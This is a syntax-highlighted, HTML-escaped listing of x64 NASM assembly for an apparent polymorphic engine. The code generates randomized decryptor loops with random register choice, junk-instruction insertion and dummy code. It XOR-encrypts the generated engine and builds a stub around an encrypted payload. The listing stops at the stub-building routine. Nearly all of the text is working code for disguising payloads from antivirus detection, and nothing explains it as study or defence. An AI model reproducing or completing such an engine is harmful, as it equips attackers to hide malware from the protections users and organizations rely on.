&lt;span class="nf"&gt;global&lt;/span&gt; &lt;span class="nv"&gt;_start&lt;/span&gt;

&lt;span class="c1"&gt;; x64 opcodes&lt;/span&gt;
&lt;span class="cp"&gt;%define PUSH_REG           0x50
%define POP_REG            0x58
%define ADD_MEM_REG        0x01
%define ADD_REG_IMM8       0x83
%define ROL_MEM_IMM        0xC1
%define XOR_MEM_REG        0x31
%define TEST_REG_REG       0x85
%define JNZ_SHORT          0x75
%define JZ_SHORT           0x74
%define CALL_REL32         0xE8
%define JMP_REL32          0xE9
%define JMP_SHORT          0xEB
%define RET_OPCODE         0xC3
%define NOP_OPCODE         0x90
%define JNZ_LONG           0x0F85
%define FNINIT_OPCODE      0xDBE3
%define FNOP_OPCODE        0xD9D0
&lt;/span&gt;
&lt;span class="c1"&gt;; register encoding&lt;/span&gt;
&lt;span class="cp"&gt;%define REG_RAX            0
%define REG_RCX            1
%define REG_RDX            2
%define REG_RBX            3
%define REG_RSP            4
%define REG_RBP            5
%define REG_RSI            6
%define REG_RDI            7
&lt;/span&gt;
&lt;span class="nf"&gt;section&lt;/span&gt; &lt;span class="nv"&gt;.data&lt;/span&gt;

&lt;span class="nl"&gt;stub_key:&lt;/span&gt;               &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mh"&gt;0xDEADBEEF&lt;/span&gt;            &lt;span class="c1"&gt;; runtime key&lt;/span&gt;
&lt;span class="nl"&gt;sec_key:&lt;/span&gt;                &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mh"&gt;0x00000000&lt;/span&gt;
&lt;span class="nl"&gt;engine_size:&lt;/span&gt;            &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;dcr_eng:&lt;/span&gt;                &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;stub_sz:&lt;/span&gt;                &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;sz:&lt;/span&gt;                     &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="nl"&gt;seed:&lt;/span&gt;                   &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                     &lt;span class="c1"&gt;; PRNG state&lt;/span&gt;
&lt;span class="nl"&gt;p_entry:&lt;/span&gt;                &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                     &lt;span class="c1"&gt;; output buffer&lt;/span&gt;
&lt;span class="nl"&gt;key:&lt;/span&gt;                    &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                     &lt;span class="c1"&gt;; user key&lt;/span&gt;
&lt;span class="nl"&gt;reg_base:&lt;/span&gt;               &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                     &lt;span class="c1"&gt;; selected registers&lt;/span&gt;
&lt;span class="nl"&gt;reg_count:&lt;/span&gt;              &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;reg_key:&lt;/span&gt;                &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;junk_reg1:&lt;/span&gt;              &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                     &lt;span class="c1"&gt;; junk registers&lt;/span&gt;
&lt;span class="nl"&gt;junk_reg2:&lt;/span&gt;              &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;junk_reg3:&lt;/span&gt;              &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;prolog_set:&lt;/span&gt;             &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;fpu_set:&lt;/span&gt;                &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;jmp_back:&lt;/span&gt;               &lt;span class="kd"&gt;dq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nl"&gt;alg0_dcr:&lt;/span&gt;               &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                     &lt;span class="c1"&gt;; algorithm selector&lt;/span&gt;

&lt;span class="nf"&gt;align&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
&lt;span class="nl"&gt;entry:&lt;/span&gt;
&lt;span class="kd"&gt;times&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                                 &lt;span class="c1"&gt;; engine storage&lt;/span&gt;
&lt;span class="nl"&gt;exit:&lt;/span&gt;

&lt;span class="nf"&gt;section&lt;/span&gt; &lt;span class="nv"&gt;.text&lt;/span&gt;

&lt;span class="c1"&gt;; main generator entry point&lt;/span&gt;
&lt;span class="nl"&gt;genrat:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;

    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;                               &lt;span class="c1"&gt;; validate params&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.r_exit&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.r_exit&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;                               &lt;span class="c1"&gt;; min buffer size&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.r_exit&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;p_entry&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;key&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_runtm&lt;/span&gt;                              &lt;span class="c1"&gt;; generate runtime keys&lt;/span&gt;

    &lt;span class="nf"&gt;lea&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_reng&lt;/span&gt;                               &lt;span class="c1"&gt;; build engine&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;                                &lt;span class="c1"&gt;; calculate engine size&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;engine_size&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;p_entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;unpack_stub&lt;/span&gt;                            &lt;span class="c1"&gt;; build stub&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;enc_bin&lt;/span&gt;                                &lt;span class="c1"&gt;; encrypt payload&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_sz&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;                      &lt;span class="c1"&gt;; total&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jnz&lt;/span&gt; &lt;span class="nv"&gt;.calc_sz&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;p_entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="nl"&gt;.calc_sz:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.r_exit:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; generate engine&lt;/span&gt;
&lt;span class="nl"&gt;gen_reng:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;

    &lt;span class="nf"&gt;rdtsc&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x5DEECE66D&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;shr&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;                                    &lt;span class="c1"&gt;; clear state&lt;/span&gt;
    &lt;span class="nf"&gt;lea&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;rep&lt;/span&gt; &lt;span class="nv"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;get_rr&lt;/span&gt;                                 &lt;span class="c1"&gt;; select random registers&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;set_al&lt;/span&gt;                                 &lt;span class="c1"&gt;; pick decrypt algorithm&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_p&lt;/span&gt;                                  &lt;span class="c1"&gt;; generate prologue&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;                                 &lt;span class="c1"&gt;; random junk insertion&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_pr&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;

&lt;span class="nl"&gt;.skip_pr:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_dummy&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_dummy&lt;/span&gt;

&lt;span class="nl"&gt;.skip_dummy:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_dec&lt;/span&gt;                                &lt;span class="c1"&gt;; main decrypt loop&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_prc&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;

&lt;span class="nl"&gt;.skip_prc:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;RET_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;jmp_back&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                 &lt;span class="c1"&gt;; conditional jump back&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.skip_jmp&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;JNZ_LONG&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;jmp_back&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

&lt;span class="nl"&gt;.skip_jmp:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;RET_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; encrypt generated engine&lt;/span&gt;
&lt;span class="nl"&gt;enc_bin:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="nf"&gt;lea&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;engine_size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="c1"&gt;; validate engine size&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.enc_done&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;
    &lt;span class="nf"&gt;ja&lt;/span&gt; &lt;span class="nv"&gt;.enc_done&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.enc_done&lt;/span&gt;

    &lt;span class="c1"&gt;; encrypt in place&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;

&lt;span class="nl"&gt;.enc_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.enc_done&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;rol&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;dec&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.enc_loop&lt;/span&gt;

&lt;span class="nl"&gt;.enc_done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; build stub wrapper&lt;/span&gt;
&lt;span class="nl"&gt;unpack_stub:&lt;/span&gt;
